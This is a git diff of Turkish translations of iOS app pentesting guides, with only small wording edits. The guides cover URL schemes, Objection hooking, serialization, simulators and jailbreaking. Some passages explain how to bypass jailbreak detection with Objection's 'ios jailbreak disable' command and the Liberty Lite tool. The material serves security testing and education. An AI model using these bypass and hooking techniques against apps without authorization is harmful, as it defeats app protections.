```xml ```xml
<key>UIRequiredDeviceCapabilities</key> <key>UIRequiredDeviceCapabilities</key>
<array> <array>
@ -118,7 +118,7 @@ Bu örnek, uygulamanın armv7 talimat seti ile uyumlu olduğunu göstermektedir.
## Yetkiler ## Yetkiler
**Yetkiler**, iOS uygulama geliştirmesinin bir diğer kritik yönüdür ve uygulamalara çalışma zamanı kontrollerinin ötesinde belirli işlemleri gerçekleştirme izni veren anahtar-değer çiftleri olarak hizmet eder. Örneğin, bir uygulamada **Veri Koruması**nı etkinleştirmek, Xcode projesine belirli bir yetki eklemeyi gerektirir; bu, uygulamanın yetki dosyasında veya IPA'lar için gömülü mobil sağlama dosyasında yansıtılır. **Yetkiler**, iOS uygulama geliştirmede başka bir kritik unsurdur ve uygulamalara çalışma zamanı kontrollerinin ötesinde belirli işlemleri gerçekleştirme izni veren anahtar-değer çiftleri olarak hizmet eder. Örneğin, bir uygulamada **Veri Koruması**nı etkinleştirmek, Xcode projesine belirli bir yetki eklemeyi gerektirir; bu, uygulamanın yetki dosyasında veya IPA'lar için gömülü mobil sağlama dosyasında yansıtılır.
# Referanslar # Referanslar

View File

@ -4,13 +4,13 @@
## Temel Bilgiler ## Temel Bilgiler
Özel URL şemaları, uygulamaların özel bir protokol kullanarak iletişim kurmasını sağlar; bu, [Apple Geliştirici Dokümantasyonu](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)'nda ayrıntılı olarak açıklanmıştır. Bu şemalar, uygulama tarafından beyan edilmeli ve ardından uygulama, bu şemalara uygun gelen URL'leri işleyecektir. **Tüm URL parametrelerini doğrulamak** ve **herhangi bir hatalı URL'yi atmak** saldırıları önlemek için kritik öneme sahiptir. Özel URL şemaları, uygulamaların özel bir protokol kullanarak iletişim kurmasını sağlar; bu, [Apple Geliştirici Dokümantasyonu](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)'nda ayrıntılı olarak açıklanmıştır. Bu şemalar, uygulama tarafından beyan edilmeli ve ardından bu şemalara uygun gelen URL'ler işlenmelidir. **Tüm URL parametrelerini doğrulamak** ve **herhangi bir hatalı URL'yi atmak** saldırıları önlemek için kritik öneme sahiptir.
`myapp://hostname?data=123876123` URI'sinin belirli bir uygulama eylemini tetiklediği bir örnek verilmiştir. Skype Mobil uygulamasında, `skype://` protokolü aracılığıyla izin verilmeyen arama eylemlerine izin veren bir güvenlik açığı tespit edilmiştir. Kayıtlı şemalar, uygulamanın `Info.plist` dosyasında `CFBundleURLTypes` altında bulunabilir. Kötü niyetli uygulamalar, hassas bilgileri ele geçirmek için URI'leri yeniden kaydederek bunu istismar edebilir. `myapp://hostname?data=123876123` URI'sinin belirli bir uygulama eylemini tetiklediği bir örnek verilmiştir. Belirtilen bir zafiyet, `skype://` protokolü aracılığıyla izinsiz çağrı eylemlerine izin veren Skype Mobil uygulamasındaydı. Kayıtlı şemalar, uygulamanın `Info.plist` dosyasında `CFBundleURLTypes` altında bulunabilir. Kötü niyetli uygulamalar, hassas bilgileri ele geçirmek için URI'leri yeniden kaydederek bunu istismar edebilir.
### Uygulama Sorgu Şemaları Kaydı ### Uygulama Sorgu Şemaları Kaydı
iOS 9.0'dan itibaren, bir uygulamanın mevcut olup olmadığını kontrol etmek için `canOpenURL:` kullanıldığında, URL şemalarının `Info.plist` dosyasında `LSApplicationQueriesSchemes` altında beyan edilmesi gerekmektedir. Bu, bir uygulamanın sorgulayabileceği şemaları 50 ile sınırlayarak, uygulama sayımını önleyerek gizliliği artırır. iOS 9.0'dan itibaren, bir uygulamanın mevcut olup olmadığını kontrol etmek için `canOpenURL:` kullanıldığında, URL şemalarının `Info.plist` dosyasında `LSApplicationQueriesSchemes` altında beyan edilmesi gerekmektedir. Bu, bir uygulamanın sorgulayabileceği şemaları 50 ile sınırlayarak uygulama sayımını önleyerek gizliliği artırır.
```xml ```xml
<key>LSApplicationQueriesSchemes</key> <key>LSApplicationQueriesSchemes</key>
<array> <array>
@ -20,7 +20,7 @@ iOS 9.0'dan itibaren, bir uygulamanın mevcut olup olmadığını kontrol etmek
``` ```
### URL İşleme ve Doğrulama Testi ### URL İşleme ve Doğrulama Testi
Geliştiriciler, URL yol yapısını ve doğrulamasını anlamak için kaynak kodundaki belirli yöntemleri incelemelidir, örneğin `application:didFinishLaunchingWithOptions:` ve `application:openURL:options:`. Örneğin, Telegram, URL'leri açmak için çeşitli yöntemler kullanır: Geliştiriciler, URL yolunun oluşturulması ve doğrulanmasını anlamak için kaynak kodundaki belirli yöntemleri incelemelidir, örneğin `application:didFinishLaunchingWithOptions:` ve `application:openURL:options:`. Örneğin, Telegram, URL'leri açmak için çeşitli yöntemler kullanır:
```swift ```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool { func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url) self.openUrl(url: url)
@ -46,11 +46,11 @@ return true
``` ```
### Diğer Uygulamalara URL İsteklerini Test Etme ### Diğer Uygulamalara URL İsteklerini Test Etme
`openURL:options:completionHandler:` gibi yöntemler, diğer uygulamalarla etkileşimde bulunmak için URL'leri açmak ısından kritik öneme sahiptir. Uygulamanın kaynak kodunda bu tür yöntemlerin kullanımını belirlemek, dış iletişimleri anlamak için anahtardır. `openURL:options:completionHandler:` gibi yöntemler, diğer uygulamalarla etkileşimde bulunmak için URL'leri açmak için kritik öneme sahiptir. Uygulamanın kaynak kodunda bu tür yöntemlerin kullanımını belirlemek, dış iletişimleri anlamak için anahtardır.
### Kullanımdan Kaldırılan Yöntemleri Test Etme ### Kullanımdan Kaldırılmış Yöntemleri Test Etme
`application:handleOpenURL:` ve `openURL:` gibi URL açma işlemlerini yöneten kullanımdan kaldırılan yöntemler, güvenlik etkileri açısından belirlenmeli ve gözden geçirilmelidir. `application:handleOpenURL:` ve `openURL:` gibi URL açma işlemlerini yöneten kullanımdan kaldırılmış yöntemler, güvenlik etkileri açısından belirlenmeli ve gözden geçirilmelidir.
### URL Şemalarını Fuzzing ### URL Şemalarını Fuzzing

View File

@ -1,7 +1,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Bu bölümde [**Objection**](https://github.com/sensepost/objection) aracı kullanılacaktır.\ Bu bölümde [**Objection**](https://github.com/sensepost/objection) aracı kullanılacaktır.\
Bir şeyler çalıştırarak objection'ın oturumunu alarak başlayın: Bir şeyler çalıştırarak bir objection oturumu alarak başlayın:
```bash ```bash
objection -d --gadget "iGoat-Swift" explore objection -d --gadget "iGoat-Swift" explore
objection -d --gadget "OWASP.iGoat-Swift" explore objection -d --gadget "OWASP.iGoat-Swift" explore
@ -127,7 +127,7 @@ AAAttestationSigner
[...] [...]
``` ```
- `ios hooking search classes <search_term>`: Bir dize içeren bir sınıfı arayın. Uygulamanın ana sınıflarını bulmak için ana uygulama paketine ait bazı benzersiz terimleri arayabilirsiniz: - `ios hooking search classes <search_term>`: Bir dize içeren bir sınıfı arayın. Ana uygulama paketine bağlı bazı benzersiz terimleri arayarak uygulamanın ana sınıflarını bulabilirsiniz:
```bash ```bash
ios hooking search classes iGoat ios hooking search classes iGoat

View File

@ -4,11 +4,11 @@ Kod ve daha fazla bilgi için [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Pla
## iOS Geliştirmede Nesne Serileştirmesi ## iOS Geliştirmede Nesne Serileştirmesi
iOS'ta, **nesne serileştirmesi**, nesneleri kolayca depolanabilen veya iletilebilen bir formata dönüştürmeyi ve ihtiyaç duyulduğunda bu formattan yeniden inşa etmeyi içerir. İki ana protokol, **`NSCoding`** ve **`NSSecureCoding`**, bu süreci Objective-C veya `NSObject` alt sınıfları için kolaylaştırır ve nesnelerin **`NSData`** formatına serileştirilmesine olanak tanır; bu format, bayt tamponlarını sarar. iOS'ta, **nesne serileştirmesi**, nesnelerin kolayca depolanabilen veya iletilebilen bir formata dönüştürülmesini ve ihtiyaç duyulduğunda bu formattan yeniden yapılandırılmasını içerir. İki ana protokol, **`NSCoding`** ve **`NSSecureCoding`**, bu süreci Objective-C veya `NSObject` alt sınıfları için kolaylaştırır ve nesnelerin **`NSData`** formatına serileştirilmesine olanak tanır; bu format, bayt tamponlarını sarar.
### **`NSCoding`** Uygulaması ### **`NSCoding`** Uygulaması
`NSCoding`'i uygulamak için bir sınıf `NSObject`'tan miras almalı veya `@objc` olarak işaretlenmelidir. Bu protokol, örnek değişkenlerini kodlamak ve kod çözmek için iki yöntemin uygulanmasını zorunlu kılar: `NSCoding`'i uygulamak için bir sınıf `NSObject`'tan miras almalı veya `@objc` olarak işaretlenmelidir. Bu protokol, örnek değişkenlerini kodlamak ve çözmek için iki metodun uygulanmasını zorunlu kılar:
```swift ```swift
class CustomPoint: NSObject, NSCoding { class CustomPoint: NSObject, NSCoding {
var x: Double = 0.0 var x: Double = 0.0
@ -44,22 +44,22 @@ let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive")
``` ```
### Kullanım `Codable` Basitleştirilmiş Serileştirme için ### Kullanım `Codable` Basitleştirilmiş Serileştirme için
Swift'in `Codable` protokolü `Decodable` ve `Encodable`'ı birleştirerek, `String`, `Int`, `Double` gibi nesnelerin kodlanmasını ve kod çözümlemesini ekstra çaba harcamadan kolaylaştırır: Swift'in `Codable` protokolü `Decodable` ve `Encodable`'ı birleştirerek, `String`, `Int`, `Double` gibi nesnelerin kodlanmasını ve kod çözülmesini ekstra çaba harcamadan kolaylaştırır:
```swift ```swift
struct CustomPointStruct: Codable { struct CustomPointStruct: Codable {
var x: Double var x: Double
var name: String var name: String
} }
``` ```
Bu yaklaşım, Swift uygulamalarında veri yönetimini geliştiren, özellik listelerine ve JSON'a basit serileştirme desteği sunar. Bu yaklaşım, Swift uygulamalarında veri yönetimini geliştiren, özellik listelerine ve JSON'a basit serileştirme desteği sağlar.
## JSON ve XML Kodlama Alternatifleri ## JSON ve XML Kodlama Alternatifleri
Yerel desteğin ötesinde, birkaç üçüncü taraf kütüphane JSON ve XML kodlama/çözme yetenekleri sunar; her birinin kendi performans özellikleri ve güvenlik dikkate alması vardır. Bu kütüphanelerin dikkatlice seçilmesi, özellikle dış varlık işleme işlemlerini önlemek için ayrıştırıcıların yapılandırılmasıyla XXE (XML Dış Varlıklar) saldırıları gibi zayıflıkları azaltmak açısından önemlidir. Yerel desteğin ötesinde, birkaç üçüncü taraf kütüphane JSON ve XML kodlama/çözme yetenekleri sunar; her birinin kendi performans özellikleri ve güvenlik dikkate alımları vardır. Bu kütüphaneleri dikkatlice seçmek, özellikle dış varlık işleme işlemlerini önlemek için ayrıştırıcıları yapılandırarak XXE (XML Dış Varlıklar) saldırıları gibi zayıflıkları azaltmak açısından önemlidir.
### Güvenlik Dikkate Alınması Gerekenler ### Güvenlik Dikkate Alımları
Veri serileştirirken, özellikle dosya sistemine, hassas bilgilerin potansiyel olarak dahil edilmesine kaı dikkatli olmak önemlidir. Serileştirilmiş veriler, eğer ele geçirilirse veya yanlış bir şekilde işlenirse, uygulamaları yetkisiz işlemler veya veri sızıntısı gibi risklere maruz bırakabilir. Güvenliği artırmak için serileştirilmiş verilerin şifrelenmesi ve imzalanması önerilir. Veri serileştirirken, özellikle dosya sistemine, hassas bilgilerin potansiyel olarak dahil edilmesi konusunda dikkatli olmak önemlidir. Serileştirilmiş veriler, eğer ele geçirilirse veya yanlış bir şekilde işlenirse, uygulamaları yetkisiz işlemler veya veri sızıntısı gibi risklere maruz bırakabilir. Güvenliği artırmak için serileştirilmiş verilerin şifrelenmesi ve imzalanması önerilir.
## Referanslar ## Referanslar

View File

@ -4,10 +4,10 @@
## Apple Geliştirici Programı ## Apple Geliştirici Programı
Bir **provisioning identity**, bir Apple geliştirici hesabıyla ilişkili olan bir dizi genel ve özel anahtardır. **Uygulamaları imzalamak** için **99$/yıl** ödeyerek **Apple Geliştirici Programı**'na kaydolmanız gerekir. Bunu yapmadan, kaynak kodundan uygulamaları fiziksel bir cihazda çalıştıramazsınız. Bunu yapmanın bir diğer seçeneği ise **jailbroken bir cihaz** kullanmaktır. Bir **provisioning identity**, bir Apple geliştirici hesabıyla ilişkili olan bir dizi genel ve özel anahtardır. **Uygulamaları imzalamak** için **99$/yıl** ödeyerek **Apple Geliştirici Programı**'na kaydolmanız gerekir. Bunu yapmadan, kaynak kodundan fiziksel bir cihazda uygulamaları çalıştıramazsınız. Bunu yapmanın bir diğer seçeneği ise **jailbroken bir cihaz** kullanmaktır.
Xcode 7.2 ile birlikte Apple, gerçek bir iPhone'da uygulamanızı yazmanıza ve test etmenize olanak tanıyan **ücretsiz bir iOS geliştirme provisioning profili** oluşturma seçeneği sunmuştur. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Kimlik bilgilerinizi ekleyin) --> _Oluşturulan Apple ID'ye tıklayın_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ Xcode 7.2 ile birlikte Apple, gerçek bir iPhone'da uygulamanızı yazmanıza ve test etmenize olanak tanıyan **ücretsiz bir iOS geliştirme provisioning profili** oluşturma seçeneği sunmuştur. _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Kimlik bilgilerinizi ekleyin) --> _Oluşturduğunuz Apple ID'ye tıklayın_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_Daha sonra, uygulamanızı iPhone'unuzda çalıştırmak için önce **iPhone'un bilgisayarı güvenilir olarak göstermesini sağlamalısınız.** Ardından, **Xcode'dan mobil uygulamayı çalıştırmayı deneyebilirsiniz,** ancak bir hata görünecektir. Bu nedenle _Ayarlar_ --> _Genel_ --> _Profiller ve Cihaz Yönetimi_ --> Güvenilmeyen profili seçin ve "**Güven**"e tıklayın. \_\_Daha sonra, uygulamanızı iPhone'unuzda çalıştırmak için önce **iPhone'un bilgisayarı güvenilir olarak göstermesini sağlamanız gerekir.** Ardından, **Xcode'dan mobilde uygulamayı çalıştırmayı** deneyebilirsiniz, ancak bir hata görünecektir. Bu nedenle _Ayarlar_ --> _Genel_ --> _Profiller ve Cihaz Yönetimi_ --> Güvenilmeyen profili seçin ve "**Güven**"e tıklayın.
**Aynı imzalama sertifikasıyla imzalanmış uygulamaların güvenli bir şekilde kaynak paylaşabileceğini** unutmayın, örneğin anahtar zinciri öğeleri gibi. **Aynı imzalama sertifikasıyla imzalanmış uygulamaların güvenli bir şekilde kaynak paylaşabileceğini** unutmayın, örneğin anahtar zinciri öğeleri gibi.
@ -23,12 +23,12 @@ Provisioning profilleri telefonun içinde **`/Library/MobileDevice/ProvisioningP
Bilmeniz gereken ilk şey, **simülatör içinde bir pentest gerçekleştirmenin, jailbreak yapılmış bir cihazda yapmaktan çok daha sınırlı olacağıdır**. Bilmeniz gereken ilk şey, **simülatör içinde bir pentest gerçekleştirmenin, jailbreak yapılmış bir cihazda yapmaktan çok daha sınırlı olacağıdır**.
Bir iOS uygulaması oluşturmak ve desteklemek için gereken tüm araçlar **sadece resmi olarak Mac OS'ta desteklenmektedir**.\ Bir iOS uygulaması oluşturmak ve desteklemek için gereken tüm araçlar **sadece resmi olarak Mac OS'ta desteklenmektedir**.\
Apple'ın iOS uygulamalarını oluşturmak/hata ayıklamak/ölçümlemek için de facto aracı **Xcode**'dur. Uygulamanızı oluşturmak ve **test** etmek için gereken diğer bileşenleri, örneğin **simülatörler** ve farklı **SDK** **sürümlerini** indirmek için kullanılabilir.\ Apple'ın iOS uygulamalarını oluşturmak/ayarlarını yapmak/geliştirmek için kullanılan de facto aracı **Xcode**'dur. Uygulamanızı oluşturmak ve **test** etmek için gereken diğer bileşenleri, örneğin **simülatörler** ve farklı **SDK** **sürümlerini** indirmek için kullanılabilir.\
Xcode'u **resmi uygulama mağazasından indirmek** şiddetle tavsiye edilir. Diğer sürümler kötü amaçlı yazılım içerebilir. Xcode'u **resmi uygulama mağazasından** **indirmek** şiddetle tavsiye edilir. Diğer sürümler kötü amaçlı yazılım içerebilir.
Simülatör dosyaları `/Users/<username>/Library/Developer/CoreSimulator/Devices` dizininde bulunabilir. Simülatör dosyaları `/Users/<username>/Library/Developer/CoreSimulator/Devices` dizininde bulunabilir.
Simülatörü açmak için Xcode'u çalıştırın, ardından _Xcode sekmesine_ tıklayın --> _Geliştirici araçlarını aç_ --> _Simülatör_\ Simülatörü açmak için Xcode'u çalıştırın, ardından _Xcode sekmesine_ basın --> _Geliştirici araçlarını aç_ --> _Simülatör_\
\_\_Aşağıdaki resimde "iPod touch \[...\]" üzerine tıklayarak test etmek için başka bir cihaz seçebilirsiniz: \_\_Aşağıdaki resimde "iPod touch \[...\]" üzerine tıklayarak test etmek için başka bir cihaz seçebilirsiniz:
![](<../../images/image (270).png>) ![](<../../images/image (270).png>)
@ -37,14 +37,14 @@ Simülatörü açmak için Xcode'u çalıştırın, ardından _Xcode sekmesine_
### Simülatördeki Uygulamalar ### Simülatördeki Uygulamalar
`/Users/<username>/Library/Developer/CoreSimulator/Devices` içinde tüm **kurulu simülatörleri** bulabilirsiniz. Emülatörlerden birinde oluşturulmuş bir uygulamanın dosyalarına erişmek istiyorsanız, **uygulamanın hangi emülatörde kurulu olduğunu bilmek zor olabilir**. Doğru UID'yi **bulmanın hızlı bir yolu**, simülatörde uygulamayı çalıştırmak ve şunu yürütmektir: `/Users/<username>/Library/Developer/CoreSimulator/Devices` içinde tüm **kurulu simülatörleri** bulabilirsiniz. Emülatörlerden birinin içinde oluşturulmuş bir uygulamanın dosyalarına erişmek istiyorsanız, **uygulamanın hangi emülatörde kurulu olduğunu bilmek zor olabilir**. Doğru UID'yi **bulmanın hızlı bir yolu**, simülatörde uygulamayı çalıştırmak ve şunu yürütmektir:
```bash ```bash
xcrun simctl list | grep Booted xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
``` ```
Bir UID'yi bildiğinizde, içindeki yüklü uygulamaları `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` yolunda bulabilirsiniz. UID'yi öğrendikten sonra, içindeki yüklü uygulamalar `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` yolunda bulunabilir.
Ancak, şaşırtıcı bir şekilde burada uygulamayı bulamayacaksınız. `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` yoluna erişmeniz gerekiyor. Ancak, şaşırtıcı bir şekilde uygulamayı burada bulamayacaksınız. `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` yoluna erişmeniz gerekiyor.
Ve bu klasörde **uygulamanın paketini bulabilirsiniz.** Ve bu klasörde **uygulamanın paketini bulabilirsiniz.**
@ -67,13 +67,13 @@ Apple, iPhone'da çalışan kodun **Apple tarafından verilen bir sertifika ile
Sıklıkla karşılaştırılsa da, Android'de **rooting** ve iOS'ta **jailbreaking** temelde farklı süreçlerdir. Android cihazlarda **`su` ikili dosyasını yüklemek** veya **sistemi köklü bir özel ROM ile değiştirmek** gibi işlemler, bootloader kilidi açıldığında mutlaka istismar gerektirmeyebilir. **Özel ROM'ların yüklenmesi**, bootloader kilidi açıldıktan sonra cihazın işletim sistemini değiştirir ve bazen bir istismar gerektirebilir. Sıklıkla karşılaştırılsa da, Android'de **rooting** ve iOS'ta **jailbreaking** temelde farklı süreçlerdir. Android cihazlarda **`su` ikili dosyasını yüklemek** veya **sistemi köklü bir özel ROM ile değiştirmek** gibi işlemler, bootloader kilidi açıldığında mutlaka istismar gerektirmeyebilir. **Özel ROM'ların yüklenmesi**, bootloader kilidi açıldıktan sonra cihazın işletim sistemini değiştirir ve bazen bir istismar gerektirebilir.
Buna karşılık, iOS cihazları, bootloader'ın yalnızca Apple imzalı görüntüleri başlatmasına izin vermesi nedeniyle özel ROM'ları yükleyemez. **iOS'u jailbreak yapmak**, imzasız kod çalıştırmak için Apple'ın kod imzalama korumalarını aşmayı hedefler; bu süreç, Apple'ın sürekli güvenlik iyileştirmeleriyle karmaşıklaşır. Buna karşılık, iOS cihazları, bootloader'ın yalnızca Apple imzalı görüntüleri başlatmasına izin vermesi nedeniyle özel ROM'ları yükleyemez. **iOS'u jailbreak yapmak**, imzasız kod çalıştırmak için Apple'ın kod imzalama korumalarını aşmayı hedefler; bu süreç, Apple'ın sürekli güvenlik iyileştirmeleri ile karmaşıklaşır.
### Jailbreaking Zorlukları ### Jailbreaking Zorlukları
iOS'u jailbreak yapmak, Apple'ın güvenlik açıklarını hızla yamalaması nedeniyle giderek zorlaşmaktadır. **iOS'u düşürmek**, bir sürümden sonra sınırlı bir süre için mümkündür, bu da jailbreak yapmayı zaman açısından hassas bir mesele haline getirir. Güvenlik testi için kullanılan cihazlar, yeniden jailbreak yapılması garanti edilmedikçe güncellenmemelidir. iOS'u jailbreak yapmak, Apple'ın güvenlik açıklarını hızla yamalaması nedeniyle giderek zorlaşmaktadır. **iOS'u düşürmek**, bir sürümden sonra sınırlı bir süre için mümkündür, bu da jailbreak yapmayı zaman açısından hassas bir mesele haline getirir. Güvenlik testi için kullanılan cihazlar, yeniden jailbreak yapılması garanti edilmedikçe güncellenmemelidir.
iOS güncellemeleri, yalnızca Apple imzalı yanıtlar için yüklemeye izin veren bir **challenge-response mekanizması** (SHSH blobları) ile kontrol edilir. "İmzalama penceresi" olarak bilinen bu mekanizma, OTA firmware paketlerini depolama ve daha sonra kullanma yeteneğini sınırlar. [IPSW Downloads web sitesi](https://ipsw.me), mevcut imzalama pencerelerini kontrol etmek için bir kaynaktır. iOS güncellemeleri, yalnızca Apple imzalı yanıtlar için yüklemeye izin veren bir **challenge-response mekanizması** (SHSH blobları) ile kontrol edilir. Bu mekanizma, "imzalama penceresi" olarak bilinir ve OTA firmware paketlerini depolama ve daha sonra kullanma yeteneğini sınırlar. [IPSW Downloads web sitesi](https://ipsw.me), mevcut imzalama pencerelerini kontrol etmek için bir kaynaktır.
### Jailbreak Çeşitleri ### Jailbreak Çeşitleri
@ -94,7 +94,7 @@ Cihazınızı değiştirmek risk taşır ve jailbreak yaparken dikkatli olunmal
### Jailbreaking Faydaları ve Riskleri ### Jailbreaking Faydaları ve Riskleri
Jailbreaking, **OS tarafından dayatılan sandboxing'i kaldırır**, uygulamaların tüm dosya sistemine erişmesine izin verir. Bu özgürlük, onaylanmamış uygulamaların yüklenmesini ve daha fazla API'ye erişimi sağlar. Ancak, normal kullanıcılar için jailbreak yapmak **tavsiye edilmez** çünkü potansiyel güvenlik riskleri ve cihaz kararsızlığı vardır. Jailbreaking, **OS tarafından dayatılan sandbox'ı kaldırır**, uygulamaların tüm dosya sistemine erişmesine izin verir. Bu özgürlük, onaylanmamış uygulamaların yüklenmesini ve daha fazla API'ye erişimi sağlar. Ancak, normal kullanıcılar için jailbreak yapmak **tavsiye edilmez** çünkü potansiyel güvenlik riskleri ve cihaz kararsızlığı vardır.
### **Jailbreaking Sonrası** ### **Jailbreaking Sonrası**
@ -104,9 +104,9 @@ basic-ios-testing-operations.md
### **Jailbreak Tespiti** ### **Jailbreak Tespiti**
**Birçok uygulama, mobil cihazın jailbreak yapılıp yapılmadığını tespit etmeye çalışacak ve bu durumda uygulama çalışmayacaktır.** **Birçok uygulama, mobilin jailbreak yapılıp yapılmadığını tespit etmeye çalışacak ve bu durumda uygulama çalışmayacaktır.**
- Jailbreak yapıldıktan sonra iOS'ta **dosyalar ve klasörler genellikle yüklenir**, bu dosyalar cihazın jailbreak yapılıp yapılmadığını belirlemek için aranabilir. - Jailbreak yapıldıktan sonra iOS'ta **dosyalar ve klasörler genellikle yüklenir**, bunlar cihazın jailbreak yapılıp yapılmadığını belirlemek için aranabilir.
- Jailbreak yapılmış bir cihazda uygulamalar, sandbox dışındaki yeni dosyalara **okuma/yazma erişimi** alır. - Jailbreak yapılmış bir cihazda uygulamalar, sandbox dışındaki yeni dosyalara **okuma/yazma erişimi** alır.
- Bazı **API** **çağrıları** **farklı davranacaktır.** - Bazı **API** **çağrıları** **farklı davranacaktır.**
- **OpenSSH** hizmetinin varlığı. - **OpenSSH** hizmetinin varlığı.
@ -114,12 +114,12 @@ basic-ios-testing-operations.md
**Jailbreaking'i tespit etme hakkında daha fazla bilgi** [**burada**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** **Jailbreaking'i tespit etme hakkında daha fazla bilgi** [**burada**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
Bu tespitlerden kaçınmak için **objection'ın** `ios jailbreak disable` komutunu kullanmayı deneyebilirsiniz. Bu tespitlerden kaçınmayı deneyebilirsiniz **objection'ın** `ios jailbreak disable` komutunu kullanarak.
## **Jailbreak Tespiti Bypass** ## **Jailbreak Tespiti Bypass**
- Bu tespitlerden kaçınmak için **objection'ın** `ios jailbreak disable` komutunu kullanmayı deneyebilirsiniz. - Bu tespitlerden kaçınmayı deneyebilirsiniz **objection'ın** `ios jailbreak disable` komutunu kullanarak.
- Ayrıca **Liberty Lite** (https://ryleyangus.com/repo/) aracını yükleyebilirsiniz. Repo eklendikten sonra uygulama 'Arama' sekmesinde görünmelidir. - Ayrıca **Liberty Lite** (https://ryleyangus.com/repo/) aracını yükleyebilirsiniz. Repo eklendikten sonra, uygulama 'Arama' sekmesinde görünmelidir.
## Referanslar ## Referanslar

View File

@ -31,22 +31,22 @@ Veri alırken aşağıdaki unsurlar kritik öneme sahiptir:
- Uygulamanın açabileceği **belge türlerinin** belirtilmesi. - Uygulamanın açabileceği **belge türlerinin** belirtilmesi.
- Alınan verinin **bütünlüğünün** doğrulanması. - Alınan verinin **bütünlüğünün** doğrulanması.
Kaynak koduna erişim olmadan, `Info.plist`'i `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` ve `CFBundleDocumentTypes` gibi anahtarlar için inceleyerek bir uygulamanın işleyebileceği ve beyan edebileceği belge türlerini anlamak mümkündür. Kaynak koduna erişim olmadan, bir uygulamanın işleyebileceği ve beyan edebileceği belge türlerini anlamak için `Info.plist`'i `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` ve `CFBundleDocumentTypes` gibi anahtarlar için incelemek mümkündür.
Bu anahtarlar hakkında kısa bir rehber [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) üzerinde mevcuttur ve sistem genelinde tanınma için UTI'lerin tanımlanması ve içe aktarılmasının önemini vurgulamaktadır; ayrıca belge türlerini uygulamanızla ilişkilendirmek için "Aç" diyaloğunda entegrasyon sağlamaktadır. Bu anahtarlar hakkında kısa bir rehber [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) üzerinde mevcuttur ve sistem genelinde tanınma için UTI'lerin tanımlanması ve içe aktarılmasının önemini vurgular, ayrıca belge türlerini uygulamanızla ilişkilendirerek "Aç" diyaloğunda entegrasyon sağlar.
## Dinamik Test Yaklaşımı ## Dinamik Test Yaklaşımı
**Aktivite gönderimini** test etmek için: **Aktivite gönderimini** test etmek için:
- Paylaşılan öğeleri ve aktiviteleri yakalamak için `init(activityItems:applicationActivities:)` yöntemine hook atılabilir. - Paylaşılan öğeleri ve aktiviteleri yakalamak için `init(activityItems:applicationActivities:)` yöntemine hook yapabilirsiniz.
- `excludedActivityTypes` özelliğini keserek hariç tutulan aktiviteleri belirlemek mümkündür. - `excludedActivityTypes` özelliğini keserek hariç tutulan aktiviteleri belirleyebilirsiniz.
**Öğeleri alma** süreci ise: **Öğeleri alma** süreci ise:
- "Aç..." diyaloğunu tetikleyen başka bir kaynaktan (örneğin, AirDrop, e-posta) uygulama ile bir dosya paylaşmaktır. - "Aç..." diyaloğunu tetikleyen başka bir kaynaktan (örneğin, AirDrop, e-posta) uygulama ile bir dosya paylaşmayı içerir.
- Uygulamanın yanıtını gözlemlemek için statik analiz sırasında belirlenen diğer yöntemlerin yanı sıra `application:openURL:options:` yöntemine hook atmak. - Uygulamanın yanıtını gözlemlemek için statik analiz sırasında belirlenen diğer yöntemlerin yanı sıra `application:openURL:options:`'a hook yapmayı içerir.
- Uygulamanın dayanıklılığını değerlendirmek için hatalı dosyalar veya fuzzing teknikleri kullanmak. - Uygulamanın dayanıklılığını değerlendirmek için hatalı dosyalar veya fuzzing teknikleri kullanmayı içerir.
## Referanslar ## Referanslar

View File

@ -3,7 +3,7 @@
iOS cihazlarda uygulamalar arasında veri paylaşımı, iki ana kategoriye ayrılan [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması ile sağlanır: iOS cihazlarda uygulamalar arasında veri paylaşımı, iki ana kategoriye ayrılan [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması ile sağlanır:
- **Sistem genel panosu**: Bu, **herhangi bir uygulama** ile veri paylaşmak için kullanılır ve cihaz yeniden başlatıldığında ve uygulama kaldırıldığında verilerin kalıcı olmasını sağlamak için tasarlanmıştır; bu özellik iOS 10'dan beri mevcuttur. - **Sistem genel panosu**: Bu, **herhangi bir uygulama** ile veri paylaşmak için kullanılır ve cihaz yeniden başlatıldığında ve uygulama kaldırıldığında verilerin kalıcı olmasını sağlamak için tasarlanmıştır; bu özellik iOS 10'dan beri mevcuttur.
